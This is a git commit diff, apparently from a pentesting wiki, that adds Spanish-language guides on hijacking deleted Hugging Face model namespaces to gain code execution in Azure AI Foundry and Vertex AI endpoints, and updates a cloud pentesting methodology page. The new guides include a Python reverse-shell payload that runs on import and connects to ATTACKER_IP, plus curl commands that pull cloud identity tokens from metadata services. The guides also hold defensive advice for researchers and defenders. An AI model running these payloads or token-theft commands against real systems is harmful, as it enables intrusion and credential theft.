Translated ['src/pentesting-cloud/pentesting-cloud-methodology.md', 'src

This commit is contained in:
Translator
2025-09-29 21:16:50 +00:00
parent 645882f300
commit 6e74148fee
5 changed files with 274 additions and 54 deletions

View File

@@ -1,3 +1,9 @@
# Az - Post Explotación
# Az - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
az-azure-ai-foundry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,94 @@
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## Escenario
- Azure AI Foundry Model Catalog incluye muchos modelos de Hugging Face (HF) para despliegue con un solo clic.
- Los identificadores de modelo HF son Author/ModelName. Si un author/org de HF es eliminado, cualquiera puede volver a registrar ese author y publicar un modelo con el mismo ModelName en la ruta legacy.
- Pipelines y catálogos que obtienen por nombre solamente (sin commit pinning/integrity) resolverán a repos controlados por el atacante. Cuando Azure despliega el modelo, el código loader puede ejecutarse en el entorno del endpoint, otorgando RCE con los permisos de ese endpoint.
Casos comunes de HF takeover:
- Ownership deletion: Old path 404 until takeover.
- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attackers repo serves at the legacy path.
## Identificación de espacios de nombres reutilizables (HF)
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
```
## Flujo de ataque de extremo a extremo contra Azure AI Foundry
1) En el Catálogo de Modelos, encuentra modelos HF cuyos autores originales fueron eliminados o transferidos (autor antiguo eliminado) en HF.
2) Vuelve a registrar el autor abandonado en HF y recrea el ModelName.
3) Publica un repo malicioso con código loader que se ejecuta on import o requiere trust_remote_code=True.
4) Despliega el Author/ModelName legacy desde Azure AI Foundry. La plataforma descarga el repo del atacante; el loader se ejecuta dentro del contenedor/VM del endpoint de Azure, provocando RCE con los permisos del endpoint.
Fragmento de payload de ejemplo ejecutado on import (solo para demostración):
```python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Notas
- Las implementaciones de AI Foundry que integran HF suelen clonar e importar módulos de repositorio referenciados por la configuración del modelo (p. ej., auto_map), lo que puede desencadenar la ejecución de código. Algunas rutas requieren trust_remote_code=True.
- El acceso normalmente coincide con los permisos de la managed identity/service principal del endpoint. Trátalo como un initial access foothold para acceso a datos y movimiento lateral dentro de Azure.
## Post-Exploitation Tips (Azure Endpoint)
- Enumera las variables de entorno y los endpoints MSI en busca de tokens:
```bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
- Comprueba el almacenamiento montado, los artefactos del modelo y los servicios de Azure accesibles con el token adquirido.
- Considera la persistencia dejando poisoned model artifacts si la plataforma vuelve a obtener desde HF.
## Guía defensiva para usuarios de Azure AI Foundry
- Fija los modelos por commit al cargarlos desde HF:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Replicar modelos HF verificados en un registro interno de confianza y desplegarlos desde allí.
- Escanear continuamente codebases y defaults/docstrings/notebooks en busca de Author/ModelName hard-coded que hayan sido eliminados/transferidos; actualizar o fijar.
- Validar la existencia del autor y la procedencia del modelo antes del despliegue.
## Heurísticas de reconocimiento (HTTP)
- Autor eliminado: página del autor 404; ruta heredada del modelo 404 hasta la toma de control.
- Modelo transferido: ruta heredada 307 al nuevo autor mientras el autor antiguo existe; si el autor antiguo más tarde se elimina y se vuelve a registrar, la ruta heredada sirve contenido del atacante.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Referencias cruzadas
- Consulte la metodología más amplia y las notas sobre la cadena de suministro:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## Referencias
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,9 @@
# GCP - Post Explotación
# GCP - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
gcp-vertex-ai-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,113 @@
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## Escenario
- Vertex AI Model Garden permite el despliegue directo de muchos modelos de Hugging Face (HF).
- Los identificadores de modelo de HF son Author/ModelName. Si un author/org en HF es eliminado, el mismo nombre de author puede ser registrado de nuevo por cualquiera. Los atacantes pueden entonces crear un repo con el mismo ModelName en la ruta heredada.
- Pipelines, SDKs o catálogos cloud que obtienen por nombre únicamente (sin pinning/integrity) cargarán el repo controlado por el atacante. Cuando el modelo se despliega, loader code de ese repo puede ejecutarse dentro del contenedor del endpoint de Vertex AI, produciendo RCE con los permisos del endpoint.
Dos casos comunes de takeover en HF:
- Eliminación de propiedad: la ruta antigua devuelve 404 hasta que alguien vuelve a registrar al author y publica el mismo ModelName.
- Transferencia de propiedad: HF emite 307 redirects desde el antiguo Author/ModelName al nuevo owner mientras el antiguo author exista. Si el antiguo author es eliminado más tarde y re-registrado por un atacante, la cadena de redirects se rompe y el repo del atacante responde en la ruta heredada.
## Identificando espacios de nombres reutilizables (HF)
- Autor antiguo eliminado: la página del author devuelve 404; la ruta del model puede devolver 404 hasta el takeover.
- Modelos transferidos: la ruta del modelo antiguo emite 307 hacia el nuevo owner mientras el author antiguo exista. Si el author antiguo se elimina más tarde y se re-registra, la ruta heredada resolverá al repo del atacante.
Comprobaciones rápidas con curl:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available
# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## Flujo end-to-end Attack contra Vertex AI
1) Descubrir namespaces de modelos reutilizables que Model Garden lista como deployable:
- Encontrar modelos HF en Vertex AI Model Garden que aún aparecen como “verified deployable”.
- Verificar en HF si el autor original fue eliminado o si el modelo fue transferido y el autor antiguo fue eliminado después.
2) Volver a registrar al autor eliminado en HF y recrear el mismo ModelName.
3) Publicar un repo malicioso. Incluir código que se ejecute al cargar el modelo. Ejemplos que comúnmente se ejecutan durante la carga de modelos en HF:
- Efectos secundarios en __init__.py del repo
- Código personalizado modeling_*.py o de procesamiento referenciado por config/auto_map
- Rutas de código que requieren trust_remote_code=True en pipelines de Transformers
4) Un deployment de Vertex AI del legacy Author/ModelName ahora tira del repo del atacante. El loader se ejecuta dentro del contenedor del endpoint de Vertex AI.
5) El payload establece acceso desde el entorno del endpoint (RCE) con los permisos del endpoint.
Fragmento de payload de ejemplo ejecutado en import (solo para demostración):
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Notas
- Los loaders en entornos reales varían. Muchas integraciones Vertex AI HF clonan e importan módulos del repo referenciados por la configuración del modelo (p. ej., auto_map), lo que puede desencadenar ejecución de código. Algunos usos requieren trust_remote_code=True.
- El endpoint típicamente se ejecuta en un contenedor dedicado con alcance limitado, pero es un punto de apoyo inicial válido para acceso a datos y movimiento lateral en GCP.
## Consejos de posexplotación (Vertex AI Endpoint)
Una vez que el código se está ejecutando dentro del contenedor del endpoint, considera:
- Enumerar variables de entorno y metadata en busca de credenciales/tokens
- Acceder a almacenamiento adjunto o a artefactos del modelo montados
- Interactuar con Google APIs usando la identidad de la cuenta de servicio (Document AI, Storage, Pub/Sub, etc.)
- Persistencia en el artefacto del modelo si la plataforma vuelve a clonar el repo
Enumera la metadata de la instancia si es accesible (dependiente del contenedor):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Orientación defensiva para usuarios de Vertex AI
- Anclar modelos por commit en los HF loaders para evitar reemplazos silenciosos:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Espejar modelos HF verificados en un almacén/registro interno de artefactos de confianza y desplegar desde allí.
- Escanear continuamente las bases de código y las configs en busca de Author/ModelName codificados que hayan sido eliminados/transferidos; actualizar a los nuevos espacios de nombres o fijarlos a un commit.
- En Model Garden, verificar la procedencia del modelo y la existencia del autor antes del despliegue.
## Heurísticas de reconocimiento (HTTP)
- Autor eliminado: página del autor 404; ruta de modelo heredada 404 hasta la toma de control.
- Modelo transferido: la ruta heredada responde 307 al nuevo autor mientras el autor antiguo existe; si el autor antiguo se elimina y vuelve a registrarse más tarde, la ruta heredada sirve contenido del atacante.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Referencias cruzadas
- Consulte la metodología general y las notas sobre la cadena de suministro:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## Referencias
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# Metodología de Pentesting en la Nube
# Metodología de Pentesting Cloud
{{#include ../banners/hacktricks-training.md}}
@@ -6,42 +6,42 @@
## Metodología Básica
Cada nube tiene sus propias peculiaridades, pero en general hay algunas **cosas comunes que un pentester debería verificar** al probar un entorno en la nube:
Cada cloud tiene sus particularidades pero en general hay algunas **cosas comunes que un pentester debe comprobar** al evaluar un entorno cloud:
- **Verificaciones de referencia**
- Esto te ayudará a **entender el tamaño** del entorno y **los servicios utilizados**
- También te permitirá encontrar algunas **mala configuraciones rápidas** ya que puedes realizar la mayoría de estas pruebas con **herramientas automatizadas**
- **Enumeración de Servicios**
- Probablemente no encontrarás muchas más mala configuraciones aquí si realizaste correctamente las pruebas de referencia, pero podrías encontrar algunas que no se buscaron en la prueba de referencia.
- Esto te permitirá saber **qué se está utilizando exactamente** en el entorno de la nube
- **Comprobaciones de benchmark**
- Esto te ayudará a **entender el tamaño** del entorno y los **servicios usados**
- También te permitirá encontrar algunas **mala configuraciones rápidas** ya que puedes ejecutar la mayoría de estas pruebas con **herramientas automatizadas**
- **Enumeración de servicios**
- Probablemente no encontrarás muchas más malas configuraciones aquí si realizaste correctamente las comprobaciones de benchmark, pero puede que encuentres algunas que no se buscaban en las pruebas de benchmark.
- Esto te permitirá saber **qué se está usando exactamente** en el env cloud
- Esto ayudará mucho en los siguientes pasos
- **Verificar activos expuestos**
- Esto se puede hacer durante la sección anterior, necesitas **descubrir todo lo que está potencialmente expuesto** a Internet de alguna manera y cómo se puede acceder a ello.
- Aquí estoy considerando **infraestructura expuesta manualmente** como instancias con páginas web u otros puertos expuestos, y también sobre otros **servicios gestionados en la nube que pueden ser configurados** para estar expuestos (como bases de datos o buckets)
- Luego deberías verificar **si ese recurso puede ser expuesto o no** (¿información confidencial? ¿vulnerabilidades? ¿mala configuraciones en el servicio expuesto?)
- **Verificar permisos**
- Aquí deberías **descubrir todos los permisos de cada rol/usuario** dentro de la nube y cómo se utilizan
- ¿Demasiadas cuentas **altamente privilegiadas** (controlan todo)? ¿Claves generadas no utilizadas?... La mayoría de estas verificaciones ya deberían haberse realizado en las pruebas de referencia
- Si el cliente está utilizando OpenID o SAML u otra **federación**, es posible que necesites preguntarles más **información** sobre **cómo se asigna cada rol** (no es lo mismo que el rol de administrador sea asignado a 1 usuario o a 100)
- **No es suficiente encontrar** qué usuarios tienen permisos de **administrador** "\*:\*". Hay muchos **otros permisos** que dependiendo de los servicios utilizados pueden ser muy **sensibles**.
- Además, hay **posibles caminos de privesc** a seguir abusando de los permisos. Todas estas cosas deben ser tenidas en cuenta y **se deben reportar tantos caminos de privesc como sea posible**.
- **Verificar Integraciones**
- Es muy probable que **integraciones con otras nubes o SaaS** se estén utilizando dentro del entorno de la nube.
- Para **integraciones de la nube que estás auditando** con otra plataforma, deberías notificar **quién tiene acceso a (ab)usar esa integración** y deberías preguntar **qué tan sensible** es la acción que se está realizando.\
Por ejemplo, quién puede escribir en un bucket de AWS del cual GCP está obteniendo datos (pregunta qué tan sensible es la acción en GCP al tratar esos datos).
- Para **integraciones dentro de la nube que estás auditando** desde plataformas externas, deberías preguntar **quién tiene acceso externamente a (ab)usar esa integración** y verificar cómo se está utilizando esos datos.\
Por ejemplo, si un servicio está utilizando una imagen de Docker alojada en GCR, deberías preguntar quién tiene acceso para modificar eso y qué información sensible y acceso obtendrá esa imagen al ejecutarse dentro de una nube de AWS.
- **Comprobar activos expuestos**
- Esto se puede hacer durante la sección anterior, necesitas **encontrar todo lo que potencialmente está expuesto** a Internet de alguna forma y cómo puede ser accedido.
- Aquí estoy tomando **infraestructura expuesta manualmente** como instancias con páginas web u otros puertos expuestos, y también otros **servicios gestionados por cloud que pueden configurarse** para estar expuestos (como DBs o buckets)
- Luego debes comprobar **si ese recurso puede ser expuesto o no** (¿información confidencial? ¿vulnerabilidades? ¿mala configuración en el servicio expuesto?)
- **Comprobar permisos**
- Aquí debes **identificar todos los permisos de cada role/user** dentro del cloud y cómo se usan
- ¿Demasiadas cuentas con **altos privilegios** (controlan todo)? ¿Claves generadas no usadas?... La mayoría de estas comprobaciones deberían haberse hecho ya en las pruebas de benchmark
- Si el cliente está usando OpenID o SAML u otra **federación** puede que necesites pedirles más **información** sobre **cómo se asigna cada role** (no es lo mismo que el role admin esté asignado a 1 usuario que a 100)
- No es suficiente con identificar qué usuarios tienen permisos **admin** "\*:\*". Hay muchas **otras permisos** que dependiendo de los servicios usados pueden ser muy **sensibles**.
- Además, existen **posibles privesc** para seguir abusando de permisos. Todas estas cosas deben tenerse en cuenta y **tantos caminos de privesc como sea posible** deberían ser reportados.
- **Comprobar integraciones**
- Es muy probable que **integraciones con otras clouds o SaaS** se estén usando dentro del env cloud.
- Para **integraciones del cloud que estás auditando** con otra plataforma deberías notificar **quién tiene acceso para (ab)usar esa integración** y deberías preguntar **qué tan sensible** es la acción que se realiza.\
Por ejemplo, quién puede escribir en un bucket de AWS del que GCP está obteniendo datos (pregunta qué tan sensible es la acción en GCP tratando esos datos).
- Para **integraciones dentro del cloud que estás auditando** desde plataformas externas, deberías preguntar **quién tiene acceso externamente para (ab)usar esa integración** y revisar cómo se están usando esos datos.\
Por ejemplo, si un servicio está usando una imagen Docker alojada en GCR, deberías preguntar quién tiene acceso para modificarla y qué información sensible y accesos obtendrá esa imagen cuando se ejecute dentro de un cloud AWS.
## Herramientas Multi-Nube
## Herramientas Multi-Cloud
Hay varias herramientas que se pueden utilizar para probar diferentes entornos en la nube. Los pasos de instalación y enlaces se indicarán en esta sección.
Hay varias herramientas que se pueden usar para probar diferentes entornos cloud. Los pasos de instalación y los enlaces se indicarán en esta sección.
### [PurplePanda](https://github.com/carlospolop/purplepanda)
Una herramienta para **identificar malas configuraciones y caminos de privesc en nubes y a través de nubes/SaaS.**
Una herramienta para **identificar malas configuraciones y privesc path en clouds y entre clouds/SaaS.**
{{#tabs }}
{{#tab name="Instalar" }}
{{#tab name="Install" }}
```bash
# You need to install and run neo4j also
git clone https://github.com/carlospolop/PurplePanda
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
Soporta **AWS, GCP y Azure**. Consulta cómo configurar cada proveedor en [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
Admite **AWS, GCP & Azure**. Consulta cómo configurar cada proveedor en [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
```bash
# Install
pip install prowler
@@ -91,7 +91,7 @@ prowler <provider> --list-services
AWS, Azure, Github, Google, Oracle, Alibaba
{{#tabs }}
{{#tab name="Instalar" }}
{{#tab name="Install" }}
```bash
# Install
git clone https://github.com/aquasecurity/cloudsploit.git
@@ -115,7 +115,7 @@ npm install
AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
{{#tabs }}
{{#tab name="Instalar" }}
{{#tab name="Install" }}
```bash
mkdir scout; cd scout
virtualenv -p python3 venv
@@ -145,8 +145,8 @@ done
### [Steampipe](https://github.com/turbot)
{{#tabs }}
{{#tab name="Instalar" }}
Descargue e instale Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). O use Brew:
{{#tab name="Install" }}
Descarga e instala Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). O usa Brew:
```
brew tap turbot/tap
brew install steampipe
@@ -168,9 +168,9 @@ steampipe check all
```
<details>
<summary>Revisar todos los Proyectos</summary>
<summary>Comprobar todos los proyectos</summary>
Para revisar todos los proyectos, necesitas generar el archivo `gcp.spc` indicando todos los proyectos a probar. Solo puedes seguir las indicaciones del siguiente script.
Para comprobar todos los proyectos necesitas generar el archivo `gcp.spc` indicando todos los proyectos a probar. Puedes seguir las indicaciones del siguiente script
```bash
FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
</details>
Para verificar **otros insights de GCP** (útil para enumerar servicios) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Para consultar **otros GCP insights** (útiles para enumerar servicios) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Para verificar el código de Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Para revisar el código Terraform de GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Más plugins de GCP de Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
Más plugins de GCP para Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
{{#endtab }}
{{#tab name="AWS" }}
@@ -225,9 +225,9 @@ cd steampipe-mod-aws-compliance
steampipe dashboard # To see results in browser
steampipe check all --export=/tmp/output4.json
```
Para verificar el código de Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Para revisar código Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Más complementos de AWS de Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
Más plugins AWS de Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
{{#endtabs }}
@@ -238,11 +238,11 @@ Requiere python2.7 y parece no estar mantenido.
### Nessus
Nessus tiene un _**Audit Cloud Infrastructure**_ escaneo que soporta: AWS, Azure, Office 365, Rackspace, Salesforce. Se necesitan algunas configuraciones adicionales en **Azure** para obtener un **Client Id**.
Nessus incluye un escaneo _**Audit Cloud Infrastructure**_ que soporta: AWS, Azure, Office 365, Rackspace, Salesforce. Se requieren algunas configuraciones adicionales en **Azure** para obtener un **Client Id**.
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist es una **herramienta multi-nube para obtener Activos** (Nombres de Host, Direcciones IP) de Proveedores de Nube.
Cloudlist es una herramienta multi-cloud para obtener Assets (Hostnames, IP Addresses) de Cloud Providers.
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
### [**cartography**](https://github.com/lyft/cartography)
Cartography es una herramienta de Python que consolida los activos de infraestructura y las relaciones entre ellos en una vista gráfica intuitiva impulsada por una base de datos Neo4j.
Cartography es una herramienta de Python que consolida los activos de infraestructura y las relaciones entre ellos en una vista de grafo intuitiva impulsada por una base de datos Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbase recopila activos y relaciones de servicios y sistemas, incluyendo infraestructura en la nube, aplicaciones SaaS, controles de seguridad y más, en una vista gráfica intuitiva respaldada por la base de datos Neo4j.
Starbase recopila activos y relaciones de servicios y sistemas, incluyendo infraestructura en la nube, aplicaciones SaaS, controles de seguridad y más, en una vista de grafo intuitiva respaldada por la base de datos Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Descubre los usuarios más privilegiados en el entorno de AWS o Azure escaneado, incluidos los AWS Shadow Admins. Utiliza PowerShell.
Descubre los usuarios con más privilegios en el entorno AWS o Azure escaneado, incluyendo los AWS Shadow Admins. Usa powershell.
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
Una herramienta para encontrar la infraestructura, archivos y aplicaciones de una empresa (objetivo) en los principales proveedores de la nube (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Una herramienta para encontrar la infraestructura, archivos y aplicaciones de una empresa (objetivo) en los principales proveedores en la nube (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox es una herramienta para encontrar rutas de ataque explotables en la infraestructura de la nube (actualmente solo se admiten AWS y Azure, con GCP en camino).
- Es una herramienta de enumeración que está destinada a complementar el pentesting manual.
- No crea ni modifica ningún dato dentro del entorno de la nube.
- CloudFox es una herramienta para encontrar rutas de ataque explotables en la infraestructura en la nube (actualmente solo soporta AWS & Azure; GCP próximamente).
- Es una herramienta de enumeration diseñada para complementar el pentesting manual.
- No crea ni modifica ningún dato dentro del entorno en la nube.
### Más listas de herramientas de seguridad en la nube
### More lists of cloud security tools
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
@@ -412,10 +412,11 @@ azure-security/
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “gráfico de ataque” de los recursos en una suscripción de Azure. Permite a los equipos rojos y pentesters visualizar la superficie de ataque y las oportunidades de pivote dentro de un inquilino, y potencia a tus defensores para orientarse y priorizar rápidamente el trabajo de respuesta a incidentes.
[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “attack graph” de los recursos en una suscripción de Azure. Permite a red teams y pentesters visualizar la superficie de ataque y las oportunidades de pivot dentro de un tenant, y potencia a tus defenders para orientar y priorizar rápidamente el trabajo de respuesta a incidentes.
### Office365
Necesitas **Global Admin** o al menos **Global Admin Reader** (pero ten en cuenta que Global Admin Reader es un poco limitado). Sin embargo, esas limitaciones aparecen en algunos módulos de PS y se pueden eludir accediendo a las funciones **a través de la aplicación web**.
Necesitas **Global Admin** o al menos **Global Admin Reader** (ten en cuenta que Global Admin Reader es algo limitado). Sin embargo, esas limitaciones aparecen en algunos módulos PS y pueden ser evitadas accediendo a las funciones **vía la aplicación web**.
{{#include ../banners/hacktricks-training.md}}